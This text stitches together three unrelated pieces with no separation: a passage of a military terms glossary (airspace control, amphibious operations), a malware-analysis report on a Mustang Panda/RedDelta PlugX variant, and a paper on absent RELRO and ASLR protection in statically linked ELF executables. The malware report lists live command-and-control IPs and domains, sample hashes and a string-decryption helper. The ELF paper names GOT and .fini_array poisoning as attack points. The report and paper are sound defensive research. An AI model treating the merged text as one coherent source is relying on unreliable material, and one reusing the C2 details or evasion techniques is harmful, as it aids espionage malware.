arrangement of those organizations, personnel, policies, procedures, and facilities required to perform airspace control functions. Also called ACS. (JP 3-52) **airspace coordinating measures** — Measures employed to facilitate the efficient use of airspace to accomplish missions and simultaneously provide safeguards for friendly forces. Also called ACMs. See also airspace control area; airspace coordination area; high-density airspace control zone; weapons engagement zone. (JP 3-52) **airspace coordination area** — A three-dimensional block of airspace in a target area, established by the appropriate commander, in which friendly aircraft are reasonably safe from friendly surface fires. Also called ACA. (JP 3-09.3) **airspace management** — The coordination, integration, and regulation of the use of airspace of defined dimensions. (JP 3-52) **air superiority** — That degree of control of the air by one force that permits the conduct of its operations at a given time and place without prohibitive interference from air and missile threats. (JP 3-01) **air support control section** — In amphibious operations, the section of the Navy tactical air control center designated to coordinate, control, and integrate all direct-support aircraft and assault-support operations. Also called ASCS. (JP 3-02) **air support operations center** — The principal air control agency of the theater air control system responsible for the direction and control of air operations directly supporting the ground combat element. Also called ASOC. See also close air support; operation; tactical air control center. (JP 3-09.3) **air support request** — A means to request preplanned and immediate close air support, air interdiction, air reconnaissance, surveillance, escort, helicopter airlift, and other aircraft missions. Also called AIRSUPREQ. (JP 3-30) **air supremacy** — That degree of control of the air wherein the opposing force is incapable of effective interference within the operational area using air and missile threats. (JP 3-01) **air tasking order** — A method used to task and disseminate to components, subordinate units, and command and control agencies projected sorties, capabilities and/or forces to targets and specific missions. Also called ATO. (JP 3-30) **air terminal** — A facility on an airfield that functions as an air transportation hub and accommodates the loading and unloading of airlift aircraft and the intransit processing of traffic. (JP 3-17) **air traffic control section** — In amphibious operations, the section of the Navy tactical air control center designed to provide initial safe passage, radar control, and surveillance for close air support aircraft in the operational area. Also called ATCS. (JP 3-02) **alert order** — 1. A planning directive normally associated with a crisis, issued by the Chairman of the Joint Chiefs of Staff, on behalf of the President or Secretary of Defense, that provides essential planning guidance and directs the development, adaptation, or refinement of a plan/order after the directing authority approves a military course of action. 2. A planning directive that provides essential planning guidance, directs the initiation of planning after the directing authority approves a military course of action, but does not authorize execution. Also called ALERTORD. See also course of action. (JP 5-0) **alliance** — The relationship that results from a formal agreement between two or more nations for broad, long-term objectives that further the common interests of the members. See also multinational. (JP 3-0) **Allied System for Geospatial Intelligence** — A partnership between five nations (United States and allied partners Australia, Canada, New Zealand, and the United Kingdom) to advance the geospatial intelligence mission with a common analytic environment to provide a common geospatial intelligence picture. Also called ASG. (JP 2-03) **allocation** — 1. Distribution of limited forces and resources for employment among competing requirements. 2. The temporary transfer of forces to meet the operational demand of combatant commanders, including rotational requirements and requests for capabilities or forces (unit or individual) in response to crisis or emergent contingencies. See also apportionment. (JP 5-0) **allocation request** — A daily message that provides an estimate of the total air effort, to identify any excess and joint force general support aircraft sorties, and to identify unfilled air requirements for preplanned missions. Also called ALLOREQ. (JP 3-30) **allowable cabin load** — The maximum payload that can be carried on an individual sortie. Also called ACL. (JP 3-17) **all-source intelligence** — 1. Intelligence products and/or organizations and activities that incorporate all sources of information in the production of finished intelligence. 2. In intelligence collection, a phrase that indicates that in the satisfaction of intelligence requirements, all collection, processing, exploitation, and reporting systems and resources are identified for possible use and those most capable are tasked. See also intelligence. (JP 2-0) **ammunition lot** — A quantity of homogeneous ammunition, identified by a unique lot number, which is manufactured, assembled, or renovated by one producer under uniform conditions and which is expected to function in a uniform manner. (JP 3-04) **amphibian** — A small craft, propelled by propellers and wheels or by air cushions for the purpose of moving on both land and water. (JP 4-01.6) **amphibious advance force** — A temporary support force assigned to the amphibious force that conducts shaping operations in the amphibious objective area or operational area prior to the arrival of the amphibious force. (JP 3-02) **amphibious air traffic control center** — The centralized air traffic control agency on an amphibious warfare ship responsible for operational control of aircraft departing from and recovering on the ship and tactical control of airborne helicopters in support of amphibious assaults. Also called AATCC. (JP 3-02) **amphibious assault** — A type of amphibious operation that involves establishing a force on a hostile or potentially hostile shore. See also assault; assault phase. (JP 3-02) **amphibious assault vehicle launching area** — An area, in the vicinity of and to seaward of the line of departure, to which landing ships proceed and launch amphibious assault vehicles. (JP 3-02) **amphibious breaching** — The conduct of a deliberate breaching operation specifically planned to overcome antilanding defenses to conduct amphibious operations. (JP 3-02) **amphibious bulk liquid transfer system** — Hose-reel system providing capability to deliver fuel and/or water from ship to shore. Also called ABLTS. (JP 4-01.6) **amphibious construction battalion** — A permanently commissioned naval unit, subordinate to the commander, naval beach group, designed to provide an administrative unit from which personnel and equipment are formed in tactical elements and made available to appropriate commanders to operate causeways, transfer barges, warping tugs, and assault bulk fuel systems and to meet salvage requirements of the naval beach party. Also called PHIBCB. (JP 3-02) **amphibious defense zone** — The area encompassing the amphibious objective area and the adjoining airspace required by accompanying naval forces for the purpose of air defense. Also called an ADZ. (JP 3-02) **amphibious demonstration** — A type of amphibious operation conducted for the purpose of deceiving the enemy by a show of force with the expectation of deluding the enemy into following an unfavorable course of action. (JP 3-02) **amphibious force** — An amphibious task force and a landing force together with other forces that are trained, organized, and equipped for amphibious operations. Also called AF. See also amphibious operation; amphibious task force; landing force. (JP 3-02) **amphibious objective area** — A geographical area of sufficient size for conducting necessary sea, air, and land operations and within which is located the objective(s) to be secured by the amphibious force. Also called AOA. See also amphibious force; mission. (JP 3-02) **amphibious operation** — A military operation launched from the sea by an amphibious force to conduct landing force operations within the littorals. Also called PHIBOP. See also amphibious force; landing force; mission; operation. (JP 3-02) **amphibious raid** — A type of amphibious operation involving swift incursion into, or temporary occupation of, an objective area followed by a planned withdrawal. See also amphibious operation. (JP 3-02) **amphibious ready group** — A Navy task organization formed to conduct amphibious operations, commanded by an amphibious squadron commander. Also called ARG. (JP 3-02) **amphibious squadron** — A tactical and administrative organization composed of amphibious warfare ships used to transport troops and their equipment for an amphibious operation. Also called PHIBRON. (JP 3-02) **amphibious task force** — A Navy task organization formed to conduct amphibious operations. Also called ATF. See also amphibious force; amphibious operation; landing force. (JP 3-02) **amphibious vehicle** — A wheeled or tracked vehicle capable of operating on both land and water. See also landing craft. (JP 3-02) **amphibious vehicle availability table** — A tabulation of the type and number of amphibious vehicles available primarily for assault landings and for support of other elements of the operation. (JP 3-02) **amphibious vehicle employment plan** — A plan showing, in tabular form, the planned employment of amphibious vehicles during landing operations, to include initial movement to the beach. (JP 3-02) **amphibious warfare ship** — A combatant ship having organic capability to embark, land, and support landing forces in amphibious operations and which has characteristics enabling long-duration operations on the high seas. (JP 3-02) **amphibious withdrawal** — A type of amphibious operation involving the extraction of forces by sea in ships or craft from a hostile or potentially hostile shore. See also amphibious operation. (JP 3-02) **analysis and production** — In intelligence usage, the conversion of processed information into intelligence through the integration, evaluation, analysis, and interpretation of all source data and the preparation of intelligence products in support of known or anticipated user requirements. See also intelligence process. (JP 2-01) **antemortem data** — Medical records, samples, and photographs taken prior to death. These include (but are not limited to) fingerprints, dental x-rays, body tissue samples, photographs of tattoos, or other identifying marks. These “pre-death” records would be compared against records completed after death to help establish a positive identification of human remains. See also mortuary affairs. (JP 4-06) **antiaccess** — Action, activity, or capability, usually long-range, designed to prevent an advancing enemy force from entering an operational area. Also called A2. (JP 3-0) **Antideficiency Act violations** — The incurring of obligations or the making of expenditure (outlays) in violation of appropriation law as to purpose, time, and amounts as specified in the defense appropriation or appropriations of funds. (JP 1-06) **antiradiation missile** — A missile which homes passively on a radiation source. Also called ARM. See also guided missile. (JP 3-01) **antisubmarine warfare** — Operations conducted with the intention of denying the enemy the effective use of submarines. Also called ASW. (JP 3-32) **antiterrorism** — Defensive measures used to reduce the vulnerability of individuals and property to terrorist acts, to include rapid containment by local military and civilian forces. Also called AT. See also counterterrorism; terrorism. (JP 3-07.2) **anti-vehicle land mine** — A mine designed to immobilize or destroy a vehicle. Also called AVL. (JP 3-15) **application** — 1. The system or problem to which a computer is applied. 2. In the intelligence context, the direct extraction and tailoring of information from an existing foundation of intelligence and near real-time reporting. (JP 2-0) **apportionment** — The quantities of force capabilities and resources provided for planning purposes only, but not necessarily an identification of the actual forces that may be allocated for use when a plan transitions to execution. See also allocation. (JP 5-0) **approach schedule** — In amphibious operations, a schedule that indicates, for each scheduled wave, the time of departure from the rendezvous area, from the line of departure and from other control points, and the time of arrival at the beach. (JP 3-02) **apron** — A defined area on an airfield intended to accommodate aircraft for purposes of loading or unloading passengers or cargo, refueling, parking, or maintenance. (JP 3-34) **area air defense commander** — The component commander with the preponderance of air defense capability and the required command, control, and communications capabilities who is assigned by the joint force commander to plan and execute integrated air defense operations. Also called AADC. (JP 3-01) **area command** — A command that is composed of elements of one or more of the Services, organized and placed under a single commander and designated to operate in a specific geographical area. See also command. (JP 3-10) **area damage control** — Measures taken before, during, or after hostile action or natural or manmade disasters, to reduce the probability of damage and minimize its effects. Also called ADC. (JP 3-10) **area denial** — Action, activity, or capability, usually short-range, designed to limit an enemy force’s freedom of action within an operational area. Also called AD. (JP 3-0) **area of influence** — A geographical area wherein a commander is directly capable of influencing operations by maneuver or fire support systems normally under the commander’s command or control. (JP 3-0) **area of interest** — That area of concern to the commander, including the area of influence, areas adjacent thereto, and extending into enemy territory. Also called AOI. See also area of influence. (JP 3-0) **area of operations** — An operational area defined by a commander for land and maritime forces that should be large enough to accomplish their missions and protect their forces. Also called AO. See also area of responsibility; joint operations area; joint special operations area. (JP 3-0) **area of responsibility** — The geographical area associated with a combatant command within which a geographic combatant commander has authority to plan and conduct operations. Also called AOR. See also combatant command. (JP 1) **area search** — Visual reconnaissance of limited or defined areas. (JP 3-50) **Armed Forces of the United States** — A term used to denote collectively all components of the Army, Marine Corps, Navy, Air Force, and Coast Guard (when mobilized under the Department of Defense).
# RedDelta PlugX Undergoing Changes and Overlapping Again with Mustang Panda PlugX Infrastructure Focus on Threat Research through malware reverse engineering New RedDelta PlugX variant undergoes revisions to slow down analysis. Extracted C2s link back to two known Mustang Panda command and control servers. **Family:** PlugX - RedDelta Variant **Threat Actor:** Mustang Panda **Encrypted Key:** 1c7897a902b35570a9620c64a2926cd5d594d4ff5a033e28a400981d14516600 **Decryption Key Length:** 21 **Config C2s:** - 101.36.125.203:965 - 101.36.125.203:110 - vitedannews.com:965 - vitedannews.com:110 ## Summary Mustang Panda (aka RedDelta, BRONZE PRESIDENT) is striving to make their PlugX variant more challenging to reverse statically. This RedDelta PlugX variant overlaps with infrastructure tied to Mustang Panda’s PlugX variant, something we’ve seen before. Mustang Panda is believed to be a Chinese nation-sponsored espionage group. Public reporting shows Mustang Panda targeting non-government organizations (NGOs), including religious entities. They appear to focus on locations in close proximity like Mongolia, Hong Kong, and Vietnam. Mustang Panda is known for making use of PlugX, Poison Ivy, and Cobalt Strike. The PlugX sample covered in this blog demonstrates how this group is continuing to evolve their toolset in a likely attempt to slow down researchers and avoid security automation tools. ## Key Findings - Shares command and control infrastructure with other Mustang Panda PlugX binaries - Decryption key length increased to 21 characters - Control flow obfuscation added - Code variations in the dynamic Windows API resolutions ## Mustang Panda / RedDelta Connection When Recorded Future reported on RedDelta last year, they differentiated between Mustang Panda and RedDelta. They both make use of PlugX binaries, and due to binary similarities and overlapping infrastructure, we track them as the same group. The key binary differences in the RedDelta PlugX version are: - Config block check for ######## - RC4 Encryption The config block check is how we primarily distinguish between the Mustang Panda variant and the RedDelta variant. The “original” Mustang Panda variant uses XXXXXXXX. ### Overlapping features between both of these variants include: - Prepended XOR key - Shellcode in the MZ header - Stack Strings - Rolling Config XOR decryption key: 123456789 This sample contains all of these features including the RedDelta PlugX ones. We believe with moderate confidence that this sample is tied to the Mustang Panda/RedDelta threat actor group. ## Similar Yet Different ### Encrypted DAT File On May 24, 2021, an encrypted DAT file was uploaded to VirusTotal from Vietnam. The file was uploaded with the name SmadDB.dat and is encrypted with a 21-byte XOR key prepended to the binary. While the majority of the RedDelta PlugX variants we have seen use a 10-byte prepended XOR key, this is not the first deviation. There are three others in our collection that have a prepended XOR key longer than 10 bytes. **XOR Key Length and SHA256 (Encrypted File):** - 13: dba437c9030b5f857ce9820a0c9e2c252fd8aeda71c2101024d3576c446972a0 - 15: a1eb4ce6eaa0c35ca4e8285c32b59cd0dfb34018b3f454d4fa4cebe9906534d8 - 17: 2304891f176a92c62f43d9fd30cae943f1521394dce792c6de0e097d10103d45 - 21: 1c7897a902b35570a9620c64a2926cd5d594d4ff5a033e28a400981d14516600 (most recent sample) This is not the only change; control flow obfuscation is also being added to the malware. ### Control Flow Obfuscation Mustang Panda is working on adding control flow obfuscation to their PlugX variant. This first example shows control flow obfuscation added to the config decrypting routine. We don’t see this when comparing it to a prior sample. In addition to control flow obfuscation being added, the newest sample’s function is updated to directly house the decryption routine versus it being in a separate function, as seen in the prior sample. Our second control flow obfuscation example in this binary is pulled from an API hashing algorithm. Notice the multiple comparison statements controlling which branches are taken, making it harder to follow the execution flow. Mustang Panda appears to be adding control flow obfuscation to parts of their code, but it does not exist in all of the functions yet. They don’t stop with control flow obfuscation; they are also modifying how the dynamic Windows API lookup is being performed. ### Resolving Windows API Calls The binary also contains deviations in how it dynamically resolves Windows API functions. The new sample changes things up a bit by using two slightly different variations on the same pattern to resolve Windows API calls. #### Added Technique - Method 1 The first method involves using API hashing to get LoadLibraryA and GetProcAddress function pointers. The API hashing code is placed inline with the rest of the function. It’s not separated into its own function. This is an important distinction as the next method does separate it out. The API name is built on the stack between resolving GetProcAddress and LoadLibraryA. The final step is to execute the Windows function hidden in the stack string. #### Added Technique - Method 2 The second method is similar to the first but the Windows API hashing algorithm is placed into a separate function. The Windows API names may or may not be encrypted. The unencrypted strings follow this same pattern minus the decryption loop. ### String Obfuscation The older samples primarily make use of stack strings to hide from tools like strings.exe. This new sample uses a mixture of stack strings with and without XOR encryption. The index of the character being decrypted makes up one part of the XOR key for that letter. The second part is a constant they add to it to get the final XOR key. The string decryption function can be represented in Python as: ```python def str_decrypt(value: [bytes], xor_key_modified_by: int) -> str: plain_text = [] for idx, val in enumerate(value): plain_text.append(chr(val^(idx+xor_key_modified_by))) return ''.join(plain_text) ``` To call it, pass an array of bytes and the constant to add to the XOR key. ```python >>> str_decrypt([0x03, 0x0c, 0x18, 0x05, 0x09, 0x01, 0x5d, 0x5d], 0x68) 'kernel32' ``` They don’t always modify the XOR key by 0x68; sometimes they use other values like 0x2c. ## Mustang Panda and RedDelta Infrastructure Overlap This PlugX’s config contains two previously seen Mustang Panda command and control servers: - 101.36.125.203 - vitedannews.com ### Infrastructure Pivot There are 7 samples in our repository that share the IP, 101.36.125.203, and one other sample that shares the domain, vitedannews.com. All of these samples contain the XXXXXXXX config value check making them the Mustang Panda variant. This RedDelta variant makes the second instance where the IP/Domains overlap with the “original” Mustang Panda PlugX variant. This second infrastructure overlap further strengthens our theory of them being the same group or at least sharing personnel/infrastructure. ## Conclusion Overall, we believe Mustang Panda will continue evolving the RedDelta variant to help further thwart detection as time goes on. Historically, the .dat file (the encrypted PlugX file) is loaded using a sideloaded DLL which does the loading, decrypting, and passing execution on to this PlugX binary. These three files are sometimes packaged using a self-extracting SFX file. We can’t be certain that the updated variant was delivered in the same fashion, but that would be something to look for. ## IOCs - 1c7897a902b35570a9620c64a2926cd5d594d4ff5a033e28a400981d14516600 - ec1c29cb6674ffce989576c51413a6f9cbb4a8a41cbd30ec628182485a937160 - 101.36.125.203 - vitedannews.com - dba437c9030b5f857ce9820a0c9e2c252fd8aeda71c2101024d3576c446972a0 - a1eb4ce6eaa0c35ca4e8285c32b59cd0dfb34018b3f454d4fa4cebe9906534d8 - 2304891f176a92c62f43d9fd30cae943f1521394dce792c6de0e097d10103d45 - 2f58a869711d2b28e6ecaac25cc2166daa46f7adfb719b7dd334e01c1474ca9b - 2bfd100498f70938dedef42116af09af2db77ef1315edcea0ffd62c93015ddf5 - b87d1c01daee804c7330d5ac6273e5dcba886e1663c929709c158fd45b11a7ba - 4e30cfa4f3d3bd6192818c5619eb7f6a26a408ae9fd62a7629059f47466f757b - 2531af12360e29b73b545210e1cbdfc2459c95e2827d3246e9d6933820a808dd - 4b1dbb3fc4adba3a83a563e5e86afb56136a1f9ba0293ad21a00e031b88b2ad9 - f631e8f0c723cccbc5b26387f4100351de2e158b6770e962733734be6ca119d5 - 76f44175f88984367ad62c81d1dcc947b1a26d6832fd33569d2c21113c1ddee2
# ASLR Protection for Statically Linked Executables **Written By:** Ryan O'Neill **Email:** [email protected] **Twitter:** @ryan_elfmaster **Target Audience:** Software vendors, OS maintainers, Software engineers, & Security researchers. ## 1 Introduction This paper provides insights into the more obscure security weaknesses of statically linked executables, including, but not limited to, the following: - The glibc initialization code for statically linked executables - The attack surface for statically linked executables - Why mitigations such as RELRO and ASLR are as important for statically linked executables as they are for dynamically linked executables - Common misunderstandings about RELRO, ASLR, and static executables: that static linking disables important security mitigations, leaving the program vulnerable Currently, read-only relocations (RELRO) is a security mitigation that is vitally important to statically linked executables. Unbeknownst to even the rare ELF binary gurus, this RELRO mitigation is absent and is falsely believed to be unimportant for static-linked executables. As we will demonstrate with some RE examples, statically and dynamically linked executables have the same attack surfaces. A second issue is that ASLR cannot be applied to a static executable, but like RELRO, is now a vital security mitigation. In this post, we explore in depth both the details of using RELRO and ASLR with static executables, and the solutions to each problem, followed by a POC for readers to extrapolate from or use to mitigate static executable security risks until a more complete solution is developed. Static binaries are commonly used in common off-the-shelf software (COTS) for several reasons, such as avoiding dependence on dynamic library version compatibility problems. This ignores the security consequences of statically linked executables, in part due to certain scripts, such as checksec.sh, incorrectly reporting that statically linked executables have partial RELRO enabled. The purpose of this treatise is to contribute to the security of the software developer life-cycle that should be applied to the growing number of OSs (operating systems) that are supporting the ELF binary format. Static executables are more of a prime target now than ever, as we will see in section 3.1, and RELRO and ASLR make exploitation far more difficult to achieve. If a piece of software has a memory corruption vulnerability, having the appropriate binary mitigations turned on has the potential to completely prevent an exploit from working. For example, in a scenario where the attacker has only a single pointer width write primitive, and there is no mprotect@PLT to mark the RELRO segment as writable, RELRO would make the vulnerability unexploitable. As mentioned, we will explore this in more detail in section 3.1. ## 2 The State of Standard ELF Security Mitigations Over the years, substantial improvements have been incorporated into glibc (GNU C Library), the GNU linker, and the dynamic linker in order to make various security mitigations possible, including full ASLR, which requires modifications to the compiler and linker. Pipacs, a well-respected and prolific security researcher known for PaX, has created many userland and kernel mitigation technologies ranging from ASLR to PAGEEXEC. One of Pipacs’ discoveries is that in addition to randomizing the address space of the heap, stack, and shared, one can also randomize the address space of the ELF executable itself, thus making ret2plt and ROP attacks in general more difficult. Two solutions were developed: first RandExec, and then a much more elegant solution which led to PIE (position independent executable) binaries. The idea behind PIE binaries is that you can create an ELF executable to have the same attributes as a shared library object: Position-independent code (PIC), and a base address of 0x0 so that the binary can be relocated by the kernel at runtime. The only differences between a regular shared library and a PIE executable are that the initialization code, and that executables must have a PT_INTERP segment to describe the path to the dynamic linker. A regular executable has the ELF file type ET_EXEC, whereas a PIE executable has a file type of ET_DYN, as do shared libraries. PIE executables use IP relative addressing mode to avoid hard-coding references to absolute addresses. A program that is an ELF ET_DYN and has a base address of 0x0 can be randomly relocated to a different base address every time it is run. ### 2.1 Related Work Supporting Static PIE After writing the bulk of this paper, I discovered that there have been some attempts at getting static PIE executables into the mainline. However, from what I can tell, there is still not a standard option. I also discovered that there is a patch to add the static PIE option. ### 2.2 When Is Full ASLR Important? When an executable runs privileged, such as sshd, it would ideally be compiled and linked into a PIE executable that allows for runtime relocation to a random address space, thus hardening the attack surface into a far more hostile playing ground. Sensitive programs running as root should never be built as statically linked and should almost always have all of the available binary mitigations turned on. One reason not to use PIE binaries is that IP relative addressing can affect the program performance on various levels. Occasionally, edge cases will arise in which one must turn off mitigations such as -fstack-protector in order to enable custom mitigations. But in general, everything from canaries to ASLR and full RELRO should be enabled for sensitive software whenever possible. For instance, sshd is nearly always built with all mitigations enabled, including full ASLR, meaning that sshd was built as a PIE executable. ### 2.3 A Primer on RELRO Let’s traverse over to another security mitigation that is less well known. RELRO is a security mitigation technique that has two modes (partial and full). By default, only the partial RELRO is enforced because it uses lazy linking, whereas full RELRO requires strict linking. Strict linking has less efficient program loading time than lazy linking due to the dynamic linker binding/relocating immediately in strict linking rather than on-demand. But full RELRO can be very powerful for hardening the attack surface by marking specific areas in the data segment as read-only, specifically the .init_array, .fini_array, .jcr, .got, .got.plt sections. The .got.plt section and .fini_array are the most frequent targets for attackers since these contain function pointers into shared library routines and function pointers into destructor routines, respectively. ## 3 A Holistic View of Static Linked Executables and Security Developers often use statically linked executables because they are easier to manage, debug, and ship; everything is self-contained. The chances of a user running into issues with a statically linked executable are far less than with a dynamically linked executable, which requires many dynamic library dependencies, sometimes thousands of them. As a professional researcher in this area, I've been aware of the more obvious pros and cons of statically linked ELF executables, but I was remiss to think that they don't suffer from the same ELF security problems as dynamically linked executables. In fact, to my surprise, I found that a statically linked executable is vulnerable to many of the same attacks as a dynamically linked executable, including those detailed here in section 3.1: ### 3.1 Attack Points Protected by RELRO - Shared library injection for malware purposes - Dtors (.fini_array) poisoning (note: only relevant in some statically linked executables) - Got.plt poisoning (i.e., GOTPLT hijacking) ### 3.2 Why Under the RADAR So Long? These vulnerabilities in statically linked executables went under the radar for so long because the .got.plt section was not always used as a clever optimization. It simply did not exist and therefore presented no attack surface. ### 3.3 Full RELRO Protection vs. Partial Full RELRO protects all sections (.got.plt, .got, .init_array, .fini_array, .dynamic, and .jcr) while partial RELRO omits protecting .got.plt because it needs to be updated throughout the life of the process to support on-demand dynamic linking. This is a problem because it leaves the .got.plt exposed as an attack surface. Static executables by default have no RELRO enabled, and yet still leave the .got.plt attack surface exposed, even though static executables only update the .got.plt during process initialization time. If an attacker can find a .got.plt section, they can corrupt critical function pointers. ### 3.4 Deeper Into the Attack Surface Discovering that the .got.plt is an exposed attack surface in statically linked binaries surprised me, as well as several adept ELF researchers that I know. Let’s look at all the ways in which RELRO can protect an executable. #### 3.4.1 Shared Library Injection Protection Although shared library injection protection was not the original purpose of RELRO, it can be combined with various implementations of DEP, such as PaX mprotect() restrictions, and prevent runtime malware attacks. For example, shared library function redirection is foiled by the fact that PaX disallows PTRACE_POKETEXT to read-only segments. #### 3.4.2 The Same Old Exploitation Techniques Apply From an exploitation standpoint, things become more interesting when you realize that the .got.plt section is still a relevant attack surface in statically linked executables. The .got.plt contains function pointers to libc routines and has been historically exploited in dynamically linked executables. The .init_array and .fini_array function pointers respectively point to initialization and destructor routines. Specifically, .fini_array, also known as .dtors, has been leveraged to achieve code execution in many types of exploits, although its abuse is likely not as ubiquitous as the .got.plt section. ### 3.4.3 RELRO Ambiguities In Statically Linked Executables The following static binary was built with full RELRO enabled using the 'gcc -static -Wl,-z,relro,-z,now' command, after which even the savvy reverser might be fooled into thinking that RELRO is enabled. Partial RELRO and full RELRO are both incompatible with statically linked executables at this point, because the dynamic linker is responsible for re-mapping and mprotecting the common attack points within the data segment, such as the .got.plt, and as shown in the output below there is no program header of type PT_INTERP to specify an interpreter, nor would we expect to see one in a statically linked executable since they don't use dynamic linking. The default linker script is what directs the linker to create the GNU_RELRO segment, even though this segment serves no current purpose. We designed a solution for enabling RELRO on statically linked executables, which makes use of the PT_GNU_RELRO program header. The PT_GNU_RELRO program header shares the same p_vaddr and p_offset as the data segment's program header, since this is where the .init_array, .fini_array, .jcr, .dynamic, .got, and .got.plt sections are going to live in memory. The size of the PT_GNU_RELRO in memory is described by the program header’s p_memsz field, which should be aligned up to the next PAGE_SIZE in order to acquire the 'len' value that the dynamic linker would pass to mprotect() in order to mark the page(s) read-only. ### 3.4.4 An Important Side-note As a @ulexec pointed out, the .init_array/.fini_array sections don't work in glibc statically linked executables. The .got.plt, on the other hand, is very active since it is used as an optimization for libc routines in static executables. The .got.plt is the largest threat, and it is used in glibc's model of static linking, whereas what we would traditionally call the .ctors and .dtors do not get used, although they exist, usually as .init_array and .fini_array. ### 3.4.5 checksec.sh Fails to Provide Accurate Information checksec.sh uses the GNU_RELRO segment as one of the markers to denote whether or not RELRO is enabled on a binary. In the case of statically compiled binaries, checksec.sh will report that partial RELRO is enabled, because it cannot find a DT_BIND_NOW dynamic segment flag since there are no dynamic segments in statically linked executables. ## 4 A Deeper Overview of Static Linking and Attack Surfaces A high-level overview can be seen with the ftrace tool, which performs function-level tracing. Most of the heavy lifting that would normally take place in the dynamic linker is performed by the function generic_start_main(), which in addition to other tasks also performs various relocations and fixups to all the many sections in the data segment, including the .got.plt section. This allows one the ability to set up a few watch points to observe that early on there is a function that inquires about CPU information, such as the CPU cache size. This function allows the glibc init code to intelligently determine which version of a given function, such as strcpy(), should be used for optimizations. ### 4.1 .got.plt Inspection with GDB In both cases above, the GOT entry for a given libc function had its PLT stub address replaced with the most efficient version of the function, given the CPU cache size looked up by certain glibc init code, for example, __cache_sysconf(). Since this is a somewhat high-level overview, I will not go into every function, but the important thing is that the .got.plt is updated with a libc function, and can be poisoned, especially since RELRO is not compatible with statically linked executables. This leads us to several possible solutions, including our experimental prototype, RelroS (read-only relocations for static ELF), which uses some ELF trickery to inject code that is called by a trampoline that has been placed in a very specific spot. It is necessary to wait until generic_start_main() has finished all of its writes to the memory areas that we intend to mark as read-only before we invoke our enable_relro() routine. ### 4.2 RelroS (Readonly-Relocations for Static ELF) A Solution The initial (and only) version of RelroS was written quickly due to time constraints. Consequently, there are several problems in the current implementation, but I explain below how to resolve them. This current implementation uses an injection technique that marks the PT_NOTE program header as PT_LOAD, and we therefore create a second text segment effectively. Furthermore, in the generic_start_main() function, there is a very specific place that we must patch, and it requires exactly a 5 byte patch (i.e., call <imm>). Unfortunately, immediate calls do not work when transferring execution to a different segment. Instead, an lcall (far call) is needed, which is considerably more than 5 bytes. The solution to this is to switch to a reverse text infection, which will keep the enable_relro() code within the one and only code segment. Currently, though we are being crude and patching the code that calls main(). Thus far, this solution is ideal. However, .tdata being at the beginning of the data segment is a problem since we can only use mprotect() on memory areas that are multiples of a PAGE_SIZE. Thus, a slightly more sophisticated set of steps must be taken to get multi-threaded applications working with RELRO using binary instrumentation (Alternatively, we could solve the problem by using linker scripts to put the thread data and bss into its own data segment). In the current prototype, we patch the instruction bytes starting at 0x405b4f with a push/ret sequence, corrupting the following instructions. This is a temporary fix that needs to be addressed in future prototypes. ### 4.3 Linker Scripts and Custom Function One possible method for enabling RELRO on static executables is to write a linker script that separates .tbss, .tdata, and .data into their own segment and then place the sections that should be read-only (i.e., .init_array, .fini_array, .jcr, .dynamic, .got, and .got.plt) in another segment. This allows each PT_LOAD segment to be individually marked as PF_R|PF_W (read+write) so that they serve as two separate data segments. The separate segments allow a program to have a custom function (not a constructor) that is called by main() before it even checks argc/argv. A custom rather than a constructor function should be used because the constructor routines stored in .init section are called before the write instructions to the .got, .got.plt sections, and so forth. A constructor function would attempt to mprotect() read-only permissions on the second data segment before the glibc init code has finished performing its fixups, which require write access, and thus fail to function. ### 4.4 GLIBC Developers Could Fix It Another solution to enabling RELRO on static executables is for glibc developers to add a function that is invoked by generic_start_main() right before main() is called. At present, there is a _dl_protect_relro() function in statically linked executables that is never called. ## 5 ASLR Issues As mentioned before, binary mitigations such as ASLR cannot be applied to static executables with the current tool chain. ASLR requires that an executable is ET_DYN unless RANDEXEC is used for ET_EXEC ASLR. A statically linked executable can only be linked as an ET_EXEC type executable. This means that you can remove the -pie flag and end up with an executable that uses position independent code, but does not have an address space layout that begins with base address 0, which is what we need. ### 5.1 ASLR Solutions I haven't personally spent enough time with the glibc linker to see if it can be tweaked to link a static executable that comes out as an ET_DYN object. It is worth noting that such an executable should not have a PT_INTERP segment since it is not dynamically linked. Due to my own time constraints, I'd like to leave this as an exercise for the reader, and maybe there are some solutions that I'm not aware of. ### 5.2 ASLR Binary Instrumentation/Linker Hybrid Solutions The linker may not be able to perform this task yet, but I believe a potential solution exists in the idea that we can at least compile a statically linked executable so that it uses position independent code (IP relative). ### 5.3 Expanding Our Perspectives on Statically Linked Executables for the Sake of ASLR Alas, a quick look at the binary with objdump will prove that most of the code is not using IP relative addressing and is not truly PIC. The PIC version of the glibc init routines like _start lives in /usr/lib/X86_64-linux-gnu/Scrt1.o. I believe we may have to start with a novel approach such as taking the '-static' gcc option out of the equation and begin working from scratch. ### 5.4 Improving our static linking techniques Since we are compiling statically by simply cutting glibc out of the equation with the '-nostdlib' compiler flag, we must consider that things we take for granted, such as TLS and system call wrappers, must be manually coded and linked. One potential solution I mentioned earlier is to compile dietlibc with IP relative addressing and use it instead of glibc for more simplicity. ## 6 Summary The purpose of this paper is to clear up misconceptions about – and help to demystify the ambiguity surrounding – what the attack surface is within a statically linked executable, and what security mitigations are lacking by default. RELRO and ASLR will not work with statically linked executables. However, in this paper, we presented the "RelroS" tool, which is a prototype for enabling full RELRO on statically linked executables. We also created a hybridized approach combining compiling/linking techniques with instrumentation techniques, and together with our RELRO enablement, were able to propose a solution for making static binaries that work with ASLR. Currently, our solution for RELRO will only work on traditionally built static binaries (e.g., -static flag) since the tool patches a glibc initialization function. Our solution for ASLR is to first build the binary statically but without glibc. ### 6.1 Homework for the reader Currently relros.c and static_to_dyn.c can be applied individually but not simultaneously; this is because static_to_dyn.c does not work on standard statically linked executables, and relros.c works only on standard static linked executables. Ideally, we want a tool that can apply ASLR and RELRO on the same statically linked executable. Some general steps to accomplishing this: 1. Create a static binary using the approach in section 5.4. This combines the -nostdlib flag with a version of dietlibc that's been compiled with position independent code. 2. Use the existing static_to_dyn.c source code to convert the binary into an ET_DYN so that it can have ASLR applied to it. 3. Modify relros.c so that it works on our static PIE executables. Inject the enable_relro() code using an infection technique that places the code into the regular text segment so that we can use an immediate call instruction as discussed in section 4.2; this will allow the standard deinitialization routines to run after our code, and after main(), in generic_start_main(). **Take aways:** 1. .got.plt attacks exist in statically linked executables 2. RELRO does not work with statically linked executables 3. ASLR does not work with statically linked executables 4. Some prototype solutions have been offered in this paper 5. Cleanest fix would be through gcc/ld toolchain code Custom software presented in this paper: https://github.com/elfmaster/static_binary_mitigations
